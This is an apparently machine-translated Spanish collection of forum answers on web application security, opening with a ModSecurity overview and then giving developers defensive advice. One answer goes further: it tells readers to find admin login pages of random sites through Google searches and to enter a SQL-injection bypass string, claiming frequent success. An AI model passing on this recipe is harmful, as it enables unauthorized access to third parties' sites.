ModSecurity es un módulo de firewall de aplicaciones web (WAF) multiplataforma y de código abierto. Conocido como el “Swiss Army Knife” de WAF, permite a los defensores de aplicaciones web obtener visibilidad del tráfico HTTP (S) y proporciona un lenguaje de reglas de poder y API para implementar protecciones avanzadas.

Categorías de protección

Para proporcionar protección de aplicaciones web genéricas, las Reglas del Núcleo utilizan las siguientes técnicas:

• Protección HTTP : detección de violaciones del protocolo HTTP y una política de uso definida localmente.
• Búsquedas de listas negras en tiempo real : utiliza la reputación de IP de terceros
• Detección de malware basada en la web: identifica el contenido web malintencionado mediante la comparación con la API de navegación segura de Google.
• HTTP Denial of Service Protections : defensa contra las inundaciones HTTP y los ataques DoS HTTP lentos.
• Protección de ataques web comunes : detección de ataques de seguridad de aplicaciones web comunes.
• Detección de automatización : detección de robots, rastreadores, escáneres y otras actividades maliciosas de la superficie.
• Integración con AV Scanning para la carga de archivos: detecta los archivos maliciosos cargados a través de la aplicación web.
• Seguimiento de datos confidenciales : rastrea el uso de las tarjetas de crédito y bloquea las fugas.
• Protección de troyanos : detección de acceso a caballos de Troya .
• Identificación de defectos de aplicación : alertas sobre configuraciones erróneas de aplicaciones.
• Detección y ocultación de errores: disfrazando los mensajes de error enviados por el servidor.

Preguntas frecuentes – https://github.com/SpiderLabs/Mo …

Answer 15

¿En un minuto?

¡No reinventes la rueda!

Utilizar marcos y metodologías probados. No asuma, por ejemplo, que es lo suficientemente inteligente como para crear su propio sistema de autenticación o cifrado y tenerlo seguro. La cantidad de personas que aprendieron esa lección de la manera más difícil es demasiado numerosa para contarla. Y NUNCA asuma que la gente solo usará su sitio de la forma que usted lo desea. La cantidad de personas que aprendieron esa lección de la manera más difícil es aún más numerosa.

Answer 16

Esta pregunta es absolutamente para mí. Siempre tuve curiosidad por este tipo de pregunta. Lo primero, me gustaría decirle a los programadores,

“Piensa más allá de la regla”

Esta es la mayor diferencia entre un hacker y un programador.

Un programador acepta la “Regla” mientras que un pirata informático “Explora” la regla.

Esto es lo que hace que un hacker rompa un sistema.

El mejor ejemplo de la declaración anterior es:

Ir a Google, y buscar el,

inurl: admin.php? o inurl: login.php?

Ahora abra 5–6 sitios aleatorios, será redirigido a la página de inicio de sesión.

Escriba lo siguiente en el campo de nombre de usuario y contraseña.

0’o’0 ‘=’ 0 o 1’o’1 ‘=’ 1.

Estoy seguro de que le permitirá ingresar al panel de administración de sitios web (al menos 3 de cada 7).

Ahora tienes una idea sobre el error cometido por los programadores.

Aparte de lo anterior, el otro gran error cometido por los programadores al crear Formularios de entrada, como: Campo de búsqueda, Formularios de consulta, etc.

Deben trabajar extra para hacer que los filtros sean fuertes, este tipo de errores hacen que un sitio web sea vulnerable para XSS.

Haga un esfuerzo adicional mientras crea una base de datos con SQL, compruebe todas y cada una de las consultas y asegúrese de que no debe responder a ninguna consulta aleatoria, inyectada en el campo de la URL. Hace que un sitio web sea vulnerable a las inyecciones de SQL.

Verifique el puerto activo: después de hacer un código fuerte, un programador piensa que, ahora el sitio web es seguro, deténgase, espere un momento, haga un esfuerzo extra para verificar los puertos abiertos, cuando un pirata informático no pudo encontrar ninguna vulnerabilidad en el sitio web , luego él usualmente se movía hacia los puertos. Un puerto abierto le da la oportunidad a un pirata informático de ingresar al Sistema. Por lo tanto, también es importante para un programador escanear y corregir la vulnerabilidad de los puertos.

Todavía hay mucho que los programadores deben saber. Mejor a Google para las más vulnerabilidades.

Cualquier duda no dude en preguntar.

Answer 17

Paranoia.

Comencé a hacer programación web en 1998 y la web era un lugar diferente. Las cosas se hicieron completamente en el servidor en Perl o en una aplicación compilada utilizando la especificación de la interfaz CGI. En ese momento, la mayor cantidad de comercio en la web era la pornografía, y la gente pasaba el tiempo buscando esos sitios, pero para acceder al material, no a la información del cliente.

En el año 2000 comencé a hacer programación web comercialmente y la importancia de la seguridad aún no estaba presente para mí a nivel visceral. La seguridad existente se implementó en varios lugares, tanto del lado del cliente como del lado del servidor, y generalmente fue muy limitada a menos que el cliente tuviera requisitos específicos. (Por ejemplo, la interfaz con los Bancos significaba solicitudes POST solo porque las solicitudes GET con parámetros eran / son inseguras)

No fue hasta que empecé a hacer una administración seria del sistema y alojamiento web que la verdadera importancia de la seguridad me impactó. Esto viene con una fuerte dosis de paranoia: donde puedes, puedes bloquear todo y tener el menor acceso posible desde los sistemas públicos. Esto ha causado algunos problemas: una Wiki que sirvo como administrador técnico ha tenido varias plantillas de solicitud de usuarios que han sido traídas desde Wikipedia. Todas estas plantillas utilizaron una extensión que les brinda a los usuarios de la wiki la capacidad de llamar a un lenguaje de scripting externo, y ni siquiera a uno de forma adecuada. A partir de la documentación, me parece que el sistema permite que los scripts se incrusten en las páginas, es decir, los scripts creados por * USUARIOS * del sitio pueden ejecutarse en el servidor en un proceso generado por el propio servidor. Esto significa que, básicamente, cualquiera puede acceder a archivos potencialmente sensibles desde una interfaz web simple.

Estoy bastante seguro de que el escenario anterior no es tan malo como parece. Después de todo, Wikipedia está usando esta extensión, pero es parte de ser un desarrollador web profesional y hacer un “profesional” adecuado. el trabajo para cada empleador / contrato es nunca confiar en los comentarios de los usuarios y nunca tener más información sobre el estado de la página / aplicación visible para el usuario de la que es absolutamente necesaria.

La entrada de un usuario nunca debe alcanzar un contexto “ejecutable” (es decir, ¡eval es malo!) Ni se debe confiar en que sea válido. Verifique que la entrada cumpla con los requisitos de tipo y si va a alguna parte cerca de una base de datos clásica, use consultas y transacciones parametrizadas.

Y debe utilizar métodos POST, campos ocultos, cookies y datos de sesión tanto como sea posible. Las cosas que son visibles para un usuario deben ser aquellas partes que no tengan un impacto real en la seguridad: identificadores de artículos para productos, números de rango para listados de múltiples artículos y similares … si tiene información que se debe llevar a otra página que expone el estado interno de la aplicación web o la base de datos y no puede hacer un POST que se debe lanzar en una cookie utilizando un trozo de javascript.

Answer 18

Si está trabajando con una CODIGO DE CÓDIGO EXISTENTE, ASEGÚRESE QUE YA ESTÁ DIRIGIDO, especialmente si está trabajando en un entorno de Microsoft o Apple.

CIERRE TODOS LOS PUERTOS IP QUE VIENEN Y VAN, excepto los requeridos por su sistema a destinos que están predefinidos, ABIERTO SOLO PARA SUS NECESIDADES DE APLICACIÓN, si es posible.

EN UNA BASE REGULAR, ELIMINE COMPLETAMENTE SU BASE DE CÓDIGO VIVO Y EL SO, y reprovisione desde una copia maestra “limpia”. Haga esto para evitar que el sistema guarde cosas que no debería, que posiblemente podrían abrir o transmitir desde su sistema, la información guardada mientras el acceso no estaba disponible, por un código que tal vez no conozca. Cuando los sistemas se inician o atraviesan estados de transición, se abren vulnerabilidades que permiten el acceso externo no deseado. Esto es muy fácil en un entorno de máquina virtual, volviendo a una “instantánea” anterior.

Diseñe el sistema de modo que los DATOS QUE REQUIEREN EL AHORRO DEBEN SER GUARDADOS EN UNA MÁQUINA O BASE DE DATOS INDEPENDIENTES, aislados del sistema operativo y las máquinas en que se ejecutan los programas. De esta manera, puede reprovisionar la máquina de forma regular, y el acceso a sus datos solo es posible a través de una aplicación prevista. PONGA UN SISTEMA DE SEGURIDAD INDEPENDIENTE EN LOS DATOS Y PROGRAMAS.

UTILICE LAS RUTAS DE AUDITORÍA, que le permitirán retroceder en el tiempo y ver qué sucedió, y por quién.

NO ASUMA SI EL SOY ESTÁ LIMPIO, LA MÁQUINA ESTÁ LIMPIA, aprenda sobre amenazas fimware, hosts de máquinas virtuales, kits de raíz, amenazas existentes y métodos, es decir, stuxnet.

EJECUTE SU SISTEMA A TRAVÉS DE UN PROXY para examinar los datos que entran y salen, y configure los desencadenantes para el tráfico inesperado, es decir, las direcciones IP y los puertos que no deberían estar allí.

Esté al tanto de los RESPALDOS COLOCADOS POR LOS PROVEEDORES DE SOFTWARE Y EL GOBIERNO, son explotables por piratas informáticos que los descubren.

NO INSTALE ACTUALIZACIONES POR OTROS EN SISTEMAS EN VIVO, a menos que no tenga otra opción y haya probado las actualizaciones para detectar malware. Las actualizaciones del sistema son una excelente manera de comprometer los sistemas.

NO ASUMA QUE LO SABE TODO, esto es solo la punta del iceberg. Consulta a profesionales, y consulta a tu profesional primero. Hay muchos “profesionales”, que no saben lo que están haciendo, y algunos que lo hacen, pero ponen un buen acto, en un campo muy lucrativo. Una vez fui testigo de un “Pro”, de una compañía muy grande que no mencionaré en este párrafo, yendo alrededor infectando todas las máquinas, con su “antivirus”.

Answer 19

Hmmm

1. Algunas personas son realmente curiosas y solo intentarán cosas para ver si su sitio se rompe … No lo haga demasiado fácil de romper , incluso si es solo un sitio aburrido sin nada importante. Para el desarrollador web, eso significa que no estás pensando en las cosas con rigor, y para el pirata informático, es realmente aburrido (a menos que a alguien le paguen por piratearlo, ya que el dinero siempre es bueno).

2. La seguridad por oscuridad puede no ser grande . Es genial conceptualmente aunque supongo?

3. Mucha gente ya dijo esto, pero … no confíe en el usuario 😛 Un pirata informático es solo un usuario con intención.

4. Para algunos usuarios web novatos (o simplemente gente molesta), no deshabilite el clic derecho . Es realmente molesto, y los usuarios normales pueden querer copiar / pegar / jugar, etc. Y un pirata informático puede evitarlo realmente fácilmente. Esto se aplica especialmente a aquellas personas que hacen “sitios de muestra de plantillas de sitios web a la venta” que intentan proteger a las personas para que no obtengan el código html / css / js / etc del sitio. Eso. No lo hace Trabajo.

No tengo mucho más que decir sobre esto que aún no se haya dicho, ¡así que gracias por el A2A!

Answer 20

Voy a intentarlo con esto.

• Siempre use contraseñas ridículamente largas para las conexiones de base de datos, ya que nunca debería necesitar recordarlas. Y usa diferentes usuarios para diferentes secciones de tu sitio web. (Una sección que solo necesita acceso de lectura debe tener solo acceso de lectura)
• Siempre use conexiones seguras. (HTTPS, SFTP, SSH) Una forma fácil de acceder a cualquier cosa es rastrear las conexiones no cifradas que envían nombres de usuario y contraseñas de texto sin formato.
• Utilice las consultas parametrizadas siempre que sea posible y las entradas de la lista blanca cuando no sea posible.
• Mostrar al usuario la menor cantidad de datos posible sobre los errores.
• Siempre asuma que cada usuario está tratando de destruirlo a usted y a cualquier otro usuario.

Por último, si bien no menos importante

• Hackea tu propio sitio de vez en cuando. Siempre encontraras algo